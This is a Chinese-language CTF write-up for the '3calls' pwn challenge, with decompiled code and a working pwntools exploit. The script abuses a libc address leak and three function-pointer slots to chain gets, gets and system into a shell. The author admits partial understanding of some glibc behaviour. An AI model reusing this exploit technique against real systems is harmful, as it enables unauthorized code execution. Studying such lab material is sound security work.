3calls#
这题的调试是个问题 比赛的时候一直卡在调试 赛后看了wp 才意识到 原来是另外一个进程导致的调试失败 只要在ida里把check函数改成nop就行了

int __cdecl main(int argc, const char **argv, const char **envp){ int i; // [rsp+8h] [rbp-28h] int j; // [rsp+Ch] [rbp-24h]
setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); libc = (__int64)(&printf - 49390); printf("gift: %p\n", &printf - 49390); for ( i = 0; i <= 2; ++i ) read(0, &F[i], 8uLL); check(); puts("good job!"); for ( j = 0; j <= 2; ++j ) F[j](); return 0;}直接给了libc基址 同时可以输入3个字长 并且对这三个字长进行检查 跟进一下check函数
unsigned __int64 check(){ int v0; // ebx int i; // [rsp+0h] [rbp-C0h] int j; // [rsp+4h] [rbp-BCh] FILE *stream; // [rsp+8h] [rbp-B8h] int v5; // [rsp+14h] [rbp-ACh] int v6; // [rsp+18h] [rbp-A8h] int v7; // [rsp+1Ch] [rbp-A4h] char v8[96]; // [rsp+20h] [rbp-A0h] BYREF char s2[40]; // [rsp+80h] [rbp-40h] BYREF unsigned __int64 v10; // [rsp+A8h] [rbp-18h]
v10 = __readfsqword(0x28u); v5 = 0; v6 = 0; v7 = 0; for ( i = 0; i <= 2; ++i ) sprintf(&v8[32 * i], "%016llx", (char *)F[i] - libc); stream = popen(cmd, "r"); if ( (__int64)stream <= 0 ) { puts("popen failed!"); exit(-1); } while ( (unsigned int)__isoc99_fscanf(stream, "%s", s2) != -1 ) { for ( j = 0; j <= 2; ++j ) { v0 = *(&v5 + j); *(&v5 + j) = (strcmp(&v8[32 * j], s2) == 0) | v0; } } pclose(stream); if ( (v6 & v5 & v7) == 0 ) { puts("Not libc symbols!"); exit(-1); } return v10 - __readfsqword(0x28u);}重点注意一下这一句stream = popen(cmd, “r”);
popen可以调用shell命令 并且获取其返回值 那么看一下cmd指令是什么 然后直接丢到我们虚拟机里的shell执行一下 大概就知道check是干啥的

返回值是一大串偏移量 应该很明显看的出来是libc函数的偏移量 加上下面的for循环 所以可以得到check函数是检测输入的三个字长是否是libc函数
调用三次函数来获取shell 那么肯定要用到system函数 至于rdi参数要怎么操控 那么只能采用输入函数了
read scanf gets 这些常见的函数 参数构造最容易的就是gets了 并且其输入的地址也是由rdi决定 如果输入/bin/sh 那么rdi参数就是/bin/sh字符串
不过你直接打断点调试行不通的 popen函数会产生新的进程 影响我们gdb调试 所以我们直接在ida里面把call check改了


可以看到gets函数rdi参数是一个可写可读的地址 那这样就方便了 我们直接读入/bin/sh字符串 但是很快就会发现程序EOF了
EOF的原因比较复杂 我也只是调试了一点点出来 很多地方还是不懂 权当听个大概吧

出问题的就在这个判断 导致进入了__lll_lock_wait_private函数 这个函数的具体用处我也不是很清楚 反正执行的后果就是当前进程会被挂起 也就导致了我们的程序无法继续执行了 也有想过绕过 但是貌似就算相等也过不去 ZF标志位还是为0

最后的解决办法跟我们的gets函数执行逻辑有关系 其会先调用这个函数

这个函数的本质是通过read来输入字节 不过每次只有1字节 随后每次接收完以后进行判断 如果为\n就停止gets
所以我们直接输入\n 就不会执行到后面的__lll_lock_wait_private

随后我们再次调用gets函数就正常了 也是很神奇 不知道为啥 但是你会发现最后system执行的参数为/bin.sh
还是需要动调看一下 问题出在gets函数的最后几步

自己看看应该也能懂 这样就不多说了 最后直接system就行了
from pwn import*from ctypes import *io = process("./pwn")#io = remote("node5.anna.nssctf.cn",28881)elf = ELF("./pwn")context.terminal = ['tmux','splitw','-h']#libc = ELF("./ld-linux.so.2")libc = ELF("/home/chen/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')context.arch = "amd64"context.log_level = "debug"def debug(): gdb.attach(io) pause()
io.recvuntil("gift: 0x")libc_addr = int(io.recv(12),16)success("libc_addr :"+hex(libc_addr))gets_addr = libc_addr + libc.sym['gets']system_addr = libc_addr + libc.sym['system']read_addr = libc_addr + libc.sym['read']io.send(p64(gets_addr))io.send(p64(gets_addr))io.send(p64(system_addr))# gdb.attach(io,'b *gets+201')# pause(0)io.send(b'\n')# gdb.attach(io,'b *$rebase(0x158E)')io.sendline(b'/bin0sh')# pause()io.interactive()
# gdb.attach(io,'b *_IO_file_underflow+134')